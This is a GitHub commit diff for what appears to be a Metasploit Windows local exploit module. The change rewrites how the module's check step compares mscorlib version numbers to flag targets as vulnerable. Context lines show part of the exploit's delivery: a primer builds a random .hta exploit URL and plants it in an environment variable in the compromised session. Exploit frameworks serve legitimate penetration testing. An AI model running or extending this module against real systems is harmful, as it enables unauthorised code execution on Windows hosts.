File tree Expand file tree Collapse file tree 1 file changed +25
-3
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +25
-3
lines changed Original file line number Diff line number Diff line change @@ -86,11 +86,11 @@ def check
86
86
87
87
mscorlib_version = get_mscorlib_version
88
88
89
- unless mscorlib_version < NET_VERSIONS [ net_version ] [ "mscorlib" ]
90
- return Exploit ::CheckCode ::Safe
89
+ if valid_mscorlib_version? ( net_version , mscorlib_version )
90
+ return Exploit ::CheckCode ::Vulnerable
91
91
end
92
92
93
- Exploit ::CheckCode ::Vulnerable
93
+ Exploit ::CheckCode ::Safe
94
94
end
95
95
96
96
def get_net_version
@@ -161,6 +161,28 @@ def exploit
161
161
session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , nil )
162
162
end
163
163
164
+ def valid_mscorlib_version? ( net_version , mscorlib_version )
165
+ valid = false
166
+
167
+ mscorlib = mscorlib_version . split ( "." )
168
+ mscorlib . reverse!
169
+
170
+ max_version = NET_VERSIONS [ net_version ] [ "mscorlib" ] . split ( "." )
171
+ max_version . reverse!
172
+
173
+ i = 0
174
+ mscorlib . each do |v |
175
+ if v . to_i < max_version [ i ] . to_i
176
+ valid = true
177
+ elsif v . to_i > max_version [ i ] . to_i
178
+ valid = false
179
+ end
180
+ i = i + 1
181
+ end
182
+
183
+ valid
184
+ end
185
+
164
186
def primer
165
187
exploit_uri = "#{ get_uri } /#{ rand_text_alpha ( 4 + rand ( 4 ) ) } .hta"
166
188
session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , exploit_uri )
You can’t perform that action at this time.
0 commit comments